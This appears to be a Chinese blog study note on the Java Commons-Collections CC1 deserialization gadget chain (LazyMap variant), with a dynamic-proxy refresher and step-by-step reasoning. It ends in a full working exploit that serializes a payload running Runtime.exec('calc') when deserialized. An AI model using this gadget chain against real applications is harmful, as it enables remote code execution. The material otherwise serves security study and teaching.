前言
之前分析了 cc1 链的 TransformMap 链
现在继续分析一下正版 cc1 链子, LazyMap 链
https://drun1baby.top/2022/06/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8702-CC1%E9%93%BE%E8%A1%A5%E5%85%85/
https://www.bilibili.com/video/BV169wbejEpQ/?spm_id_from=333.1007.top_right_bar_window_history.content.click
分析
LazyMap 初步利用链
首先要说明的是,LazyMap 的利用链,漏洞点同样是 InvokerTransformer ,所以这一块不做解释了。
很明显就能看出来这一行代码
1
| Object value = factory.transform(key);
|
如果说 factory 以及 key 可控,我们就可以变为:
1
| InvokerTransformer.transform(Runtime.getRuntime());
|
那就来分析一下:
factory 的赋值在 LazyMap 方法中,但是是一个 protected 方法。
所以肯定会被自身调用
找到了 decorate 方法
所以我们只需要传入 map 和 new 出来的 invokerTransformer 对象,再去调用 get 即可。
POC
1 2 3 4 5 6 7
| public static void main(String[] args) { Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, invokerTransformer); lazymap.get(r); }
|
继续寻找利用链
对 get find usage,出来很多结果
最后还是会定位到 AnnotationInvocationHandler
位于 invoke 方法中

动态代理回顾
详细见之前的笔记
我们知道,通过动态代理去调用任意一个方法就会走到 invoke 方法中。
可以做一个验证:
1 2 3 4
| public interface UserService { void addUser(String name); void deleteUser(String name); }
|
- UserServiceImpl.java - UserService 接口的实现类
1 2 3 4 5 6 7 8 9 10 11 12
| public class UserServiceImpl implements UserService { @Override public void addUser(String name) { System.out.println("UserServiceImpl addUser"); } @Override public void deleteUser(String name) { System.out.println("UserServiceImpl deleteUser"); } }
|
- TestInvocationHandler.java - invocationHandler 动态代理实现类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class TestInvocationHandler implements InvocationHandler { private Object target; public TestInvocationHandler(Object target) { this.target = target; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { String methodNmae = method.getName(); if (methodNmae.equals("addUser")) { System.out.println("invoke addUser"); method.invoke(this.target, args); System.out.println("invoke addUser Done"); } else if (methodNmae.equals("deleteUser")) { System.out.println("invoke deleteUser"); method.invoke(this.target, args); System.out.println("invoke deleteUser Done"); } return null; } }
|
其中这一段为构造函数,目的是传入一个对象,也就是 UserService 接口的实现类 UserServiceImpl
1 2 3
| public TestInvocationHandler(Object target) { this.target = target; }
|
下面判断方法名后执行相对应的方法。
1 2 3 4 5 6 7 8 9 10 11 12
| public static void main(String[] args) {
TestInvocationHandler testInvocationHandler = new TestInvocationHandler(new UserServiceImpl()); UserService userService = (UserService) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{UserService.class}, testInvocationHandler); userService.addUser("test");
}
|
userService 为代理对象,通过 userService 去调用 addUser 方法。
首先会去我们传入的动态代理实现类中的 invoke 方法中判断方法名字是否存在,然后再执行对应代码。
回到利用链
因此,我们要进入 invoke 方法去调用 get 方法,必须要实现动态代理调用。
在 readObject 方法中有这么一行:
1
| for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
|
如果我们把 memberValues 改为代理对象, 当调用代理对象的 entrySet 方法自然就会跳转到 invoke() 方法中。
因为 AnnotationInvocationHandler.java 是默认类,需要反射才可以调用。
1 2 3
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true);
|
实例化并且创建动态代理对象,序列化对象。
Map.class 是因为实现的是 Map 接口
再 newInstance 一次是因为要触发 invoke 方法去调用 get 方法
1 2 3 4 5
| InvocationHandler annotation = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazymap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annotation); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, proxyMap); serialize(o); unserialize();
|
这里的 lazymap 和 cc1链子中 TransformedMap 的链子代码是一样的。
1 2 3 4 5 6 7 8 9 10
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, chainedTransformer);
|
原因是 get()中的参数 member 不可控,需要 new ConstantTransformer(Runtime.class) 返回值。
总结
和 TransformedMap 链大差不差,改成了动态代理的利用点
执行流程:
readObject()
-> proxyMap.entrySet()
- 动态代理走到 invoke 中
-> LazyMap.get(xxx)
-> factory.transform(xxx)
-> ChainedTransformer
- ConstantTransformer(Runtime.class)
- InvokerTransformer
完整 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class cc1_LazyMap { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler annotation = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazymap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annotation); Object o = annotationInvocationhdlConstructor.newInstance(Override.class, proxyMap); serialize(o); unserialize(); }
public static void serialize(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } public static Object unserialize() throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = ois.readObject(); return o; } }
|